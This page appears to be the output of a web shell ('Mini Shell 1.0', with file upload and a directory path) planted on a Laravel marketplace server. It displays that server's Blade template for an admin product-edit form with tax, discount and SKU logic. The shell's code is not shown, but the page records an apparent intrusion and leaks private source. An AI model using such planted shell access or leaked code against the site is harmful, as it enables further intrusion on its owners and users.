HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/resources/views/backend/product/products/
Upload File :
Current File : /var/www/devs.lapieza.net/resources/views/backend/product/products/edit.blade.php
@extends('backend.layouts.app')
@section('content')
    <div class="aiz-titlebar text-left mt-2 mb-3">
        <h1 class="mb-0 h6">{{ translate('Edit Product') }}</h5>
    </div>
    <div class="">
        @if ($errors->any())
            <div class="alert alert-danger">
                <ul class="mb-0">
                    @foreach ($errors->all() as $error)
                        <li>{{ $error }}</li>
                    @endforeach
                </ul>
            </div>
        @endif
        <form class="form form-horizontal mar-top" action="{{route('products.update', $product->id)}}" method="POST" enctype="multipart/form-data" id="choice_form">
            <div class="row gutters-5">
                <div class="col-lg-8">
                    <input name="_method" type="hidden" value="POST">
                    <input type="hidden" name="lang" value="{{ $lang }}">
                    <input type="hidden" name="id" value="{{ $product->id }}">
                    @csrf
                    <input type="hidden" name="added_by" value="seller">
                    <div class="card">
                        <ul class="nav nav-tabs nav-fill border-light">
                            @foreach (get_all_active_language() as $key => $language)
                                <li class="nav-item">
                                    <a class="nav-link text-reset @if ($language->code == $lang) active @else bg-soft-dark border-light border-left-0 @endif py-3"
                                       href="{{ route('seller.products.edit', ['id'=>$product->id, 'lang'=> $language->code] ) }}">
                                        <img src="{{ static_asset('assets/img/flags/'.$language->code.'.png') }}" height="11"
                                             class="mr-1">
                                        <span>{{$language->name}}</span>
                                    </a>
                                </li>
                            @endforeach
                        </ul>
                        <div class="card-body">
                            <div class="form-group row" id="category">
                                <label class="col-lg-3 col-from-label" required>{{translate('Category')}}</label>
                                <div class="col-lg-8">
                                    <select class="form-control aiz-selectpicker" name="category_id" id="category_id"
                                            data-selected="{{ $product->category_id }}" data-live-search="true" required>
                                        @foreach ($categories as $category)
                                            <option value="{{ $category->id }}">{{ $category->getTranslation('name') }}</option>
                                            @foreach ($category->childrenCategories as $childCategory)
                                                @include('categories.child_category', ['child_category' => $childCategory])
                                            @endforeach
                                        @endforeach
                                    </select>
                                </div>
                            </div>
                            <div class="form-group row" id="brand">
                                <label class="col-lg-3 col-from-label">{{translate('Brand')}}</label>
                                <div class="col-lg-8">
                                    <select class="form-control aiz-selectpicker" name="brand_id" id="brand_id">
                                        <option value="">{{ translate('Select Brand') }}</option>
                                        @foreach (\App\Models\Brand::all() as $brand)
                                            <option value="{{ $brand->id }}" @if($product->brand_id == $brand->id) selected
                                                @endif>{{ $brand->getTranslation('name') }}</option>
                                        @endforeach
                                    </select>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-from-label">
                                    Código de Producto (S/N | OEM)
                                </label>
                                <div class="col-md-8">
                                    <input type="text" placeholder="{{ translate('SKU') }}" value="{{ $product->stocks->first()->sku }}" name="sku" class="form-control">
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Product Name')}}</label>
                                <div class="col-lg-8">
                                    <input type="text" class="form-control" name="name"
                                           placeholder="{{translate('Product Name')}}" value="{{$product->getTranslation('name',$lang)}}"
                                           required>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Description')}}</label>
                                <div class="col-lg-8">
                                    <textarea class="aiz-text-editor"
                                              name="description">{{$product->getTranslation('description',$lang)}}</textarea>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-form-label" for="signinSrEmail">{{translate('PDF Specification')}}</label>
                                <div class="col-md-8">
                                    <div class="input-group" data-toggle="aizuploader">
                                        <div class="input-group-prepend">
                                            <div class="input-group-text bg-soft-secondary font-weight-medium">{{ translate('Browse')}}
                                            </div>
                                        </div>
                                        <div class="form-control file-amount">{{ translate('Choose File') }}</div>
                                        <input type="hidden" name="pdf" value="{{ $product->pdf }}" class="selected-files">
                                    </div>
                                    <div class="file-preview box sm">
                                    </div>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-form-label"
                                       for="signinSrEmail">{{translate('Gallery Images')}}</label>
                                <div class="col-md-8">
                                    <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">
                                        <div class="input-group-prepend">
                                            <div class="input-group-text bg-soft-secondary font-weight-medium">
                                                {{ translate('Browse')}}</div>
                                        </div>
                                        <div class="form-control file-amount">{{ translate('Choose File') }}</div>
                                        <input type="hidden" name="photos" value="{{ $product->photos }}"
                                               class="selected-files">
                                    </div>
                                    <div class="file-preview box sm">
                                    </div>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-form-label" for="signinSrEmail">{{translate('Thumbnail Image')}}
                                    <small>(290x300)</small></label>
                                <div class="col-md-8">
                                    <div class="input-group" data-toggle="aizuploader" data-type="image">
                                        <div class="input-group-prepend">
                                            <div class="input-group-text bg-soft-secondary font-weight-medium">
                                                {{ translate('Browse')}}</div>
                                        </div>
                                        <div class="form-control file-amount">{{ translate('Choose File') }}</div>
                                        <input type="hidden" name="thumbnail_img" value="{{ $product->thumbnail_img }}"
                                               class="selected-files">
                                    </div>
                                    <div class="file-preview box sm">
                                    </div>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Video Provider')}}</label>
                                <div class="col-lg-8">
                                    <select class="form-control aiz-selectpicker" name="video_provider" id="video_provider">
                                        <option value="youtube" <?php if ($product->video_provider == 'youtube') echo "selected"; ?>>
                                            {{translate('Youtube')}}</option>
                                        <option value="dailymotion"
                                            <?php if ($product->video_provider == 'dailymotion') echo "selected"; ?>>
                                            {{translate('Dailymotion')}}</option>
                                        <option value="vimeo" <?php if ($product->video_provider == 'vimeo') echo "selected"; ?>>
                                            {{translate('Vimeo')}}</option>
                                    </select>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Video Link')}}</label>
                                <div class="col-lg-8">
                                    <input type="text" class="form-control" name="video_link" value="{{ $product->video_link }}"
                                           placeholder="{{ translate('Video Link') }}">
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Tags')}}</label>
                                <div class="col-lg-8">
                                    <input type="text" class="form-control aiz-tag-input" name="tags[]" id="tags"
                                           value="{{ $product->tags }}" placeholder="{{ translate('Type to add a tag') }}"
                                           data-role="tagsinput">
                                </div>
                            </div>
                            @if (addon_is_activated('pos_system'))
                                <div class="form-group row">
                                    <label class="col-lg-3 col-from-label">{{translate('Barcode')}}</label>
                                    <div class="col-lg-8">
                                        <input type="text" class="form-control" name="barcode"
                                               placeholder="{{ translate('Barcode') }}" value="{{ $product->barcode }}">
                                    </div>
                                </div>
                            @endif
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Colors')}}</label>
                                <div class="col-lg-2">
                                    <label class="aiz-switch aiz-switch-success mb-0">
                                        <input value="1" type="checkbox" name="colors_active"
                                            <?php if (count(json_decode($product->colors)) > 0) echo "checked"; ?>>
                                        <span></span>
                                    </label>
                                </div>
                                <div class="col-lg-6">
                                    <select class="form-control aiz-selectpicker" data-live-search="true"
                                            data-selected-text-format="count" name="colors[]" id="colors" multiple>
                                        @foreach (\App\Models\Color::orderBy('name', 'asc')->get() as $key => $color)
                                            <option value="{{ $color->code }}"
                                                    data-content="<span><span class='size-15px d-inline-block mr-2 rounded border' style='background:{{ $color->code }}'></span><span>{{ $color->name }}</span></span>"
                                                    <?php if (in_array($color->code, json_decode($product->colors))) echo 'selected' ?>></option>
                                        @endforeach
                                    </select>
                                </div>
                            </div>
                            @if (addon_is_activated('refund_request'))
                                <div class="form-group row">
                                    <label class="col-lg-3 col-from-label">Reembolsable <br><small
                                            class="text-muted">Esto indica si el producto tiene devolución.</small>
                                    </label>
                                    <div class="col-lg-8">
                                        <label class="aiz-switch aiz-switch-success mb-0" style="margin-top:5px;">
                                            <input type="checkbox" name="refundable" @if ($product->refundable == 1) checked @endif value="1">
                                            <span class="slider round"></span>
                                        </label>
                                        </label>
                                    </div>
                                </div>
                            @endif
                        </div>
                    </div>
                    <div class="card">
                        <div class="card-header">
                            <h5 class="mb-0 h6">{{translate('Product price + stock')}}</h5>
                        </div>
                        <div class="card-body">
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Unit price')}}</label>
                                <div class="col-lg-4">
                                    <input type="text" placeholder="{{translate('Unit price')}}" name="unit_price" class="form-control"
                                           value="{{$product->unit_price}}" required>
                                </div>
                                <!-- DETALLES DEL PRECIO FINAL -->
                                <label class="col-md-1 col-from-label"><b>Precio Final</b></label>
                                <div class="col-md-3">
                                    <input type="text" lang="en_US" min="0" value="0" step="0.01"
                                           name="itbis_price"
                                           class="form-control" style="font-size: 1.5em; font-weight: bold; color: white; background-color: #00a600;" readonly>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Quantity')}}</label>
                                <div class="col-lg-6">
                                    <input type="number" lang="en" value="{{ $product->stocks->first()->qty }}" step="1"
                                           placeholder="{{translate('Quantity')}}" name="current_stock" class="form-control">
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Unit')}}</label>
                                <div class="col-lg-6">
                                    <input type="text" class="form-control" name="unit"
                                           placeholder="{{ translate('Unit (e.g. KG, Pc etc)') }}"
                                           value="{{$product->getTranslation('unit', $lang)}}" required>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Low Stock Quantity Warning')}}</label>
                                <div class="col-md-8">
                                    <input type="number" name="low_stock_quantity" value="{{ $product->low_stock_quantity }}" min="0"
                                           step="1" class="form-control">
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-from-label">{{translate('Weight')}} <small>(en
                                        Libras)</small></label>
                                <div class="col-md-8">
                                    <input type="number" class="form-control" name="weight" value="{{ $product->weight }}" step="0.01" placeholder="0.00">
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Minimum Purchase Qty')}}</label>
                                <div class="col-lg-8">
                                    <input type="number" lang="en" class="form-control" name="min_qty"
                                           value="@if($product->min_qty <= 1){{1}}@else{{$product->min_qty}}@endif" min="1"
                                           required>
                                </div>
                            </div>
                            @foreach(\App\Models\Tax::where('tax_status', 1)->get() as $tax)
                                    <?php
                                if (!empty($tax->id == 3)){
                                    ?>
                                <div style="display:none">
                                    <label for="name">
                                        {{$tax->name}}
                                        <input type="hidden" value="{{$tax->id}}" name="tax_id[]">
                                    </label>
                                    @php
                                        $tax_amount = 0;
                                        $tax_type = '';
                                        foreach($tax->product_taxes as $row) {
                                        if($product->id == $row->product_id) {
                                        $tax_amount = $row->tax;
                                        $tax_type = $row->tax_type;
                                        }
                                        }
                                    @endphp
                                    <div class="form-row">
                                        <div class="form-group col-md-6">
                                            <input type="number" lang="en" min="0" value="{{ $tax_amount }}" step="0.01" id="itbis"
                                                   placeholder="{{ translate('Tax') }}" name="tax[]" class="form-control" required>
                                        </div>
                                        <div class="form-group col-md-6">
                                            <select class="form-control aiz-selectpicker" name="tax_type[]">
                                                <option value="amount" @if($tax_type=='amount' ) selected @endif>
                                                    {{translate('Flat')}}
                                                </option>
                                                <option value="percent" @if($tax_type=='percent' ) selected @endif>
                                                    {{translate('Percent')}}
                                                </option>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                    <?php
                                }else{
                                    ?>
                                    <!-- <label for="name">
                    {{$tax->name}}
                                <input type="hidden" value="{{$tax->id}}" name="tax_id[]">
                </label> -->
                                @php
                                    $tax_amount = 0;
                                    $tax_type = '';
                                    foreach($tax->product_taxes as $row) {
                                    if($product->id == $row->product_id) {
                                    $tax_amount = $row->tax;
                                    $tax_type = $row->tax_type;
                                    }
                                    }
                                @endphp
                                <div class="form-row">
                                    <label for="name" class="col-md-3 col-from-label">
                                        {{ $tax->name }}
                                    </label>
                                    <div class="col-md-8 row">
                                        <div class="form-group col-md-6">
                                            <input type="number" lang="en" min="0" value="{{ $tax_amount }}" step="0.01"
                                                   placeholder="{{ translate('Tax') }}" name="tax[]" class="form-control" required>
                                        </div>
                                        <div class="form-group col-md-6">
                                            <select class="form-control aiz-selectpicker" name="tax_type[]">
                                                <option value="amount" @if($tax_type=='amount' ) selected @endif>
                                                    {{translate('Flat')}}
                                                </option>
                                                <option value="percent" @if($tax_type=='percent' ) selected @endif>
                                                    {{translate('Percent')}}
                                                </option>
                                            </select>
                                        </div>
                                    </div>
                                </div>
                                <?php } ?>
                            @endforeach
                            <!-- @php
                                $date_range = '';
                                if($product->discount_start_date){
                                    $start_date = date('d-m-Y H:i:s', $product->discount_start_date);
                                    $end_date = date('d-m-Y H:i:s', $product->discount_end_date);
                                    $date_range = $start_date.' to '.$end_date;
                                }
                            @endphp
                                <div class="form-group row">
                                    <label class="col-lg-3 col-from-label" for="start_date">{{translate('Discount Date Range')}}</label>
                <div class="col-lg-9">
                    <input type="text" class="form-control aiz-date-range" value="{{ $date_range }}" name="date_range" placeholder="{{translate('Select Date')}}" data-time-picker="true" data-format="DD-MM-Y HH:mm:ss" data-separator=" to " autocomplete="off">
                </div>
            </div>
                        <div class="form-group row">
                <label class="col-lg-3 col-from-label">{{translate('Discount')}}</label>
                <div class="col-lg-6">
                    <input type="number" lang="en" min="0" step="0.01" placeholder="{{translate('Discount')}}"
                        name="discount" class="form-control" value="{{ $product->discount }}" required>
                </div>
                <div class="col-lg-3">
                    <select class="form-control aiz-selectpicker" name="discount_type" required>
                        <option value="amount" <?php if ($product->discount_type == 'amount') echo "selected"; ?>>
                            {{translate('Flat')}}</option>
                        <option value="percent" <?php if ($product->discount_type == 'percent') echo "selected"; ?>>
                            {{translate('Percent')}}</option>
                    </select>
                </div>
            </div> -->
                            <div id="show-hide-div">
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-from-label">
                                    {{translate('External link')}}
                                </label>
                                <div class="col-md-9">
                                    <input type="text" placeholder="{{ translate('External link') }}" name="external_link" value="{{ $product->external_link }}" class="form-control">
                                    <small class="text-muted">{{translate('Leave it blank if you do not use external site link')}}</small>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-from-label">
                                    {{translate('External link button text')}}
                                </label>
                                <div class="col-md-9">
                                    <input type="text" placeholder="{{ translate('External link button text') }}" name="external_link_btn" value="{{ $product->external_link_btn }}" class="form-control">
                                    <small class="text-muted">{{translate('Leave it blank if you do not use external site link')}}</small>
                                </div>
                            </div>
                            <br>
                            <div class="sku_combination" id="sku_combination">
                            </div>
                        </div>
                    </div>
                    <!-- <div class="card">
        <div class="card-header">
            <h5 class="mb-0 h6">{{translate('PDF Specification')}}</h5>
        </div>
        <div class="card-body">
        </div>
    </div> -->
                </div>
                <!-- // SIDEBAR RIGHT -->
                <div class="col-lg-4">
                    <div class="card">
                        <div class="card-header">
                            <h5 class="mb-0 h6">Atributos de Envío del Producto</h5>
                            <button type="button" class="btn btn-success" id="myImg">Ver GUIA DE TAMAÑOS</button>
                        </div>
                        <!-- Modal Guia Tamanos -->
                        <div id="myModal" class="modal">
                            <img class="modal-content" id="img01">
                            <div id="caption"></div>
                        </div>
                        <div class="card-body">
                            <div class="form-group row">
                                <div class="col-lg-3">
                                    <input type="text" class="form-control" value="{{translate('Attributes')}}" disabled>
                                </div>
                                <div class="col-lg-8">
                                    <select name="choice_attributes[]" data-live-search="true" data-selected-text-format="count"
                                            id="choice_attributes" class="form-control aiz-selectpicker" multiple
                                            data-placeholder="{{ translate('Choose Attributes') }}">
                                        @foreach (\App\Models\Attribute::all() as $key => $attribute)
                                            <option value="{{ $attribute->id }}" @if($product->attributes != null &&
                            in_array($attribute->id, json_decode($product->attributes, true))) selected
                                                @endif>{{ $attribute->getTranslation('name') }}</option>
                                        @endforeach
                                    </select>
                                </div>
                            </div>
                            <div class="">
                                <p>{{ translate('Choose the attributes of this product and then input values of each attribute') }}</p>
                                <br>
                            </div>
                            <!-- STILO PARA EL MODAL -->
                            <style>
                                #myImg {
                                    border-radius: 5px;
                                    cursor: pointer;
                                    transition: 0.3s;
                                }
                                #myImg:hover {
                                    opacity: 0.7;
                                }
                                /* The Modal (background) */
                                .modal {
                                    display: none; /* Hidden by default */
                                    position: fixed; /* Stay in place */
                                    z-index: 1; /* Sit on top */
                                    padding-top: 100px; /* Location of the box */
                                    left: 0;
                                    top: 0;
                                    width: 100%; /* Full width */
                                    height: 100%; /* Full height */
                                    overflow: auto; /* Enable scroll if needed */
                                    background-color: rgb(0, 0, 0); /* Fallback color */
                                    background-color: rgba(0, 0, 0, 0.9); /* Black w/ opacity */
                                }
                                /* Modal Content (Image) */
                                .modal-content {
                                    margin: auto;
                                    display: block;
                                    width: 90%;
                                    max-width: 900px;
                                }
                                /* Add Animation - Zoom in the Modal */
                                .modal-content, #caption {
                                    animation-name: zoom;
                                    animation-duration: 0.6s;
                                }
                                @keyframes zoom {
                                    from {
                                        transform: scale(0)
                                    }
                                    to {
                                        transform: scale(1)
                                    }
                                }
                                /* The Close Button */
                                .close {
                                    position: absolute;
                                    /* top: 15px; */
                                    right: 35px;
                                    color: #f1f1f1;
                                    font-size: 40px;
                                    font-weight: bold;
                                    transition: 0.3s;
                                }
                                .close:hover,
                                .close:focus {
                                    color: #bbb;
                                    text-decoration: none;
                                    cursor: pointer;
                                }
                                /* 100% Image Width on Smaller Screens */
                                @media only screen and (max-width: 700px) {
                                    .modal-content {
                                        width: 100%;
                                    }
                                }
                            </style>
                            <div class="customer_choice_options" id="customer_choice_options">
                                @foreach (json_decode($product->choice_options) as $key => $choice_option)
                                    <div class="form-group row">
                                        <div class="col-lg-3">
                                            <input type="hidden" name="choice_no[]" value="{{ $choice_option->attribute_id }}">
                                            <input type="text" class="form-control" name="choice[]"
                                                   value="{{ \App\Models\Attribute::find($choice_option->attribute_id)->getTranslation('name') }}"
                                                   placeholder="{{ translate('Choice Title') }}" disabled>
                                        </div>
                                        <div class="col-lg-8">
                                            <select class="form-control aiz-selectpicker attribute_choice" data-live-search="true" name="choice_options_{{ $choice_option->attribute_id }}[]" multiple>
                                                @foreach (\App\Models\AttributeValue::where('attribute_id', $choice_option->attribute_id)->get() as $row)
                                                    <option value="{{ $row->value }}" @if( in_array($row->value, $choice_option->values)) selected @endif>
                                                        {{ $row->value }}
                                                    </option>
                                                @endforeach
                                            </select>
                                            {{-- <input type="text" class="form-control aiz-tag-input" name="choice_options_{{ $choice_option->attribute_id }}[]" placeholder="{{ translate('Enter choice values') }}" value="{{ implode(',', $choice_option->values) }}" data-on-change="update_sku"> --}}
                                        </div>
                                    </div>
                                @endforeach
                            </div>
                        </div>
                    </div>
                    <div class="card">
                        <div class="card-header">
                            <h5 class="mb-0 h6" class="dropdown-toggle" data-toggle="collapse" data-target="#collapse_2">
                                Descuentos Autoamaticos
                            </h5><br>
                            <small
                                class="text-muted">Estos descuentos se aplican en los ragos de las fechas
                                seleccionadas.</small>
                        </div>
                        <div class="card-body collapse show" id="collapse_2">
                            @php
                                $date_range = '';
                                if($product->discount_start_date){
                                    $start_date = date('d-m-Y H:i:s', $product->discount_start_date);
                                    $end_date = date('d-m-Y H:i:s', $product->discount_end_date);
                                    $date_range = $start_date.' to '.$end_date;
                                }
                            @endphp
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label" for="start_date">{{translate('Discount Date Range')}}</label>
                                <div class="col-lg-8">
                                    <input type="text" class="form-control aiz-date-range" value="{{ $date_range }}" name="date_range" placeholder="{{translate('Select Date')}}" data-time-picker="true" data-format="DD-MM-Y HH:mm:ss" data-separator=" to " autocomplete="off">
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Discount')}}</label>
                                <div class="col-lg-4">
                                    <input type="number" lang="en" min="0" step="0.01" placeholder="{{translate('Discount')}}"
                                           name="discount" class="form-control" value="{{ $product->discount }}" required>
                                </div>
                                <div class="col-lg-4">
                                    <select class="form-control aiz-selectpicker" name="discount_type" required>
                                        <option value="amount" <?php if ($product->discount_type == 'amount') echo "selected"; ?>>
                                            {{translate('Flat')}}</option>
                                        <option value="percent" <?php if ($product->discount_type == 'percent') echo "selected"; ?>>
                                            {{translate('Percent')}}</option>
                                    </select>
                                </div>
                            </div>
                        </div>
                    </div>
                    <!-- AQUI VAN COLOCADOS LOS MISMOS DATOS DEL REGISTRO DE PRODUCTO INCLUYENDO LAS IMAGENER Y LOS DETALES Y NOMBRE -->
                    <div class="card" style="display: none;">
                        <div class="card-header">
                            <h5 class="mb-0 h6">{{translate('SEO Meta Tags')}}</h5>
                        </div>
                        <div class="card-body">
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Meta Title')}}</label>
                                <div class="col-lg-8">
                                    <input type="text" class="form-control" name="meta_title" value="{{ $product->meta_title }}"
                                           placeholder="{{translate('Meta Title')}}">
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-from-label">{{translate('Description')}}</label>
                                <div class="col-lg-8">
                    <textarea name="meta_description" rows="8"
                              class="form-control">{{ $product->meta_description }}</textarea>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-md-3 col-form-label" for="signinSrEmail">{{translate('Meta Images')}}</label>
                                <div class="col-md-8">
                                    <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">
                                        <div class="input-group-prepend">
                                            <div class="input-group-text bg-soft-secondary font-weight-medium">{{ translate('Browse')}}
                                            </div>
                                        </div>
                                        <div class="form-control file-amount">{{ translate('Choose File') }}</div>
                                        <input type="hidden" name="meta_img" value="{{ $product->meta_img }}" class="selected-files">
                                    </div>
                                    <div class="file-preview box sm">
                                    </div>
                                </div>
                            </div>
                            <div class="form-group row">
                                <label class="col-lg-3 col-form-label">{{translate('Slug')}}</label>
                                <div class="col-lg-8">
                                    <input type="text" placeholder="{{translate('Slug')}}" id="slug" name="slug"
                                           value="{{ $product->slug }}" class="form-control">
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-12">
                        <div class="mar-all text-right mb-2">
                            <button type="submit" name="button" value="publish"
                                    class="btn btn-primary">{{ translate('Update Product') }}</button>
                        </div>
                    </div>
                    <!-- AQUI VAN COLOCADOS LOS MISMOS DATOS DEL REGISTRO DE PRODUCTO INCLUYENDO LAS IMAGENER Y LOS DETALES Y NOMBRE -->
                    <!-- <div class="card">
            <div class="card-header">
                <h5 class="mb-0 h6">
                    {{translate('Stock Visibility State')}}
                    </h5>
                </div>
                <div class="card-body">
                    <div class="form-group row">
                        <label class="col-md-6 col-from-label">{{translate('Show Stock Quantity')}}</label>
                    <div class="col-md-6">
                        <label class="aiz-switch aiz-switch-success mb-0">
                            <input type="radio" name="stock_visibility_state" value="quantity"
                                @if($product->stock_visibility_state == 'quantity')
                        checked
                    @endif>
                            <span></span>
                        </label>
                    </div>
                </div>
                <div class="form-group row">
                    <label class="col-md-6 col-from-label">{{translate('Show Stock With Text Only')}}</label>
                    <div class="col-md-6">
                        <label class="aiz-switch aiz-switch-success mb-0">
                            <input type="radio" name="stock_visibility_state" value="text"
                                @if($product->stock_visibility_state == 'text')
                        checked
                    @endif>
                            <span></span>
                        </label>
                    </div>
                </div>
                <div class="form-group row">
                    <label class="col-md-6 col-from-label">{{translate('Hide Stock')}}</label>
                    <div class="col-md-6">
                        <label class="aiz-switch aiz-switch-success mb-0">
                            <input type="radio" name="stock_visibility_state" value="hide"
                                @if($product->stock_visibility_state == 'hide')
                        checked
                    @endif>
                            <span></span>
                        </label>
                    </div>
                </div>
            </div>
        </div> -->
                    <!-- <div class="card">
            <div class="card-header">
                <h5 class="mb-0 h6">{{translate('Cash On Delivery')}}</h5>
            </div>
            <div class="card-body">
                @if (get_setting('cash_payment') == '1')
                        <div class="form-group row">
                            <div class="col-md-12">
                                <div class="form-group row">
                                    <label class="col-md-6 col-from-label">{{translate('Status')}}</label>
                            <div class="col-md-6">
                                <label class="aiz-switch aiz-switch-success mb-0">
                                    <input type="checkbox" name="cash_on_delivery" value="1"
                                        @if($product->cash_on_delivery == 1)
                            checked
                        @endif>
                                    <span></span>
                                </label>
                            </div>
                        </div>
                    </div>
                </div>
                    @else
                        <p>
{{ translate('Cash On Delivery activation is maintained by Admin.') }}
                        </p>
                    @endif
                    </div>
                </div> -->
                    <!-- <div class="card">
            <div class="card-header">
                <h5 class="mb-0 h6">{{translate('Estimate Shipping Time')}}</h5>
            </div>
            <div class="card-body">
                <div class="form-group mb-3">
                    <label for="name">
                        {{translate('Shipping Days')}}
                    </label>
                    <div class="input-group">
                        <input type="number" class="form-control" name="est_shipping_days"
                            value="{{ $product->est_shipping_days }}" min="1" step="1" placeholder="{{translate('Shipping Days')}}">
                        <div class="input-group-prepend">
                            <span class="input-group-text" id="inputGroupPrepend">{{translate('Days')}}</span>
                        </div>
                    </div>
                </div>
            </div>
        </div> -->
                </div>
            </div>
        </form>
    </div>
@endsection
@section('script')
    <script type="text/javascript">
        $(document).ready(function () {
            show_hide_shipping_div();
        });
        $("[name=shipping_type]").on("change", function () {
            show_hide_shipping_div();
        });
        function show_hide_shipping_div() {
            var shipping_val = $("[name=shipping_type]:checked").val();
            $(".flat_rate_shipping_div").hide();
            if (shipping_val == 'flat_rate') {
                $(".flat_rate_shipping_div").show();
            }
        }
        function add_more_customer_choice_option(i, name) {
            $.ajax({
                headers: {
                    'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
                },
                type: "POST",
                url: '{{ route('products.add-more-choice-option') }}',
                data: {
                    attribute_id: i
                },
                success: function (data) {
                    var obj = JSON.parse(data);
                    $('#customer_choice_options').append('\
                        < div
                    class
                    = "form-group row" >\
                    <div class="col-md-3">\
                        <input type="hidden" name="choice_no[]" value="'+i+'">\
                            <input type="text" class="form-control" name="choice[]" value="'+name+'" placeholder="{{ translate('Choice Title') }}" readonly>\
                    </div>
                \
                    <div class="col-md-8">\
                        <select class="form-control aiz-selectpicker attribute_choice" data-live-search="true" name="choice_options_'+ i +'[]" multiple>\
                            '+obj+'\
                        </select>\
                    </div>
                \
                </div>');
                AIZ.plugins.bootstrapSelect('refresh');
                }
                });
                }
                $('input[name="colors_active"]').on('change', function() {
                    if (!$('input[name="colors_active"]').is(':checked')) {
                        $('#colors').prop('disabled', true);
                        AIZ.plugins.bootstrapSelect('refresh');
                    } else {
                        $('#colors').prop('disabled', false);
                        AIZ.plugins.bootstrapSelect('refresh');
                    }
                    update_sku();
                });
                $(document).on("change", ".attribute_choice",function() {
                    update_sku();
                });
                $('#colors').on('change', function() {
                    update_sku();
                });
                function delete_row(em){
                    $(em).closest('.form-group').remove();
                    update_sku();
                }
                function delete_variant(em){
                    $(em).closest('.variant').remove();
                }
                function update_sku(){
                    $.ajax({
                        type: "POST",
                        url: '{{ route('products.sku_combination_edit') }}',
                        data: $('#choice_form').serialize(),
                        success: function (data) {
                            $('#sku_combination').html(data);
                            setTimeout(() => {
                                AIZ.uploader.previewGenerate();
                            }, "2000");
                            AIZ.plugins.fooTable();
                            if (data.length > 1) {
                                $('#show-hide-div').hide();
                            } else {
                                $('#show-hide-div').show();
                            }
                        }
                    });
                }
                AIZ.plugins.tagify();
                $(document).ready(function(){
                    update_sku();
                    $('.remove-files').on('click', function () {
                        $(this).parents(".col-md-4").remove();
                    });
                });
                $('#choice_attributes').on('change', function() {
                    $.each($("#choice_attributes option:selected"), function (j, attribute) {
                        flag = false;
                        $('input[name="choice_no[]"]').each(function (i, choice_no) {
                            if ($(attribute).val() == $(choice_no).val()) {
                                flag = true;
                            }
                        });
                        if (!flag) {
                            add_more_customer_choice_option($(attribute).val(), $(attribute).text());
                        }
                    });
                    var str = @php echo $product->attributes @endphp;
                    $.each(str, function (index, value) {
                        flag = false;
                        $.each($("#choice_attributes option:selected"), function (j, attribute) {
                            if (value == $(attribute).val()) {
                                flag = true;
                            }
                        });
                        if (!flag) {
                            $('input[name="choice_no[]"][value="' + value + '"]').parent().parent().remove();
                        }
                    });
                    update_sku();
                });
    </script>
    <script>
        // Get the modal
        var modal = document.getElementById("myModal");
        // Get the image and insert it inside the modal - use its "alt" text as a caption
        var img = document.getElementById("myImg");
        var modalImg = document.getElementById("img01");
        var captionText = document.getElementById("caption");
        img.onclick = function () {
            modal.style.display = "block";
            modalImg.src = '/public/assets/img/sizes.png';
        }
        function closeModal() {
            var modal = document.getElementById('myModal');
            modal.style.display = "none";
        }
        window.onclick = function (event) {
            var modal = document.getElementById('myModal');
            if (event.target == modal) {
                modal.style.display = "none";
            }
        }
    </script>
    <script>
        document.addEventListener('DOMContentLoaded', function () {
            let unit_price_element = document.querySelector('input[name="unit_price"]');
            let unit_price = unit_price_element.value;
            if (unit_price && unit_price !== '0') {
                let itbis_price = unit_price * 1.18;
                document.querySelector('input[name="itbis_price"]').value = itbis_price.toLocaleString('en-US', {
                    style: 'currency',
                    currency: 'USD'
                });
            }
            unit_price_element.addEventListener('input', function (e) {
                let itbis_price = e.target.value * 1.18;
                document.querySelector('input[name="itbis_price"]').value = itbis_price.toLocaleString('en-US', {
                    style: 'currency',
                    currency: 'USD'
                });
            });
        });
    </script>
@endsection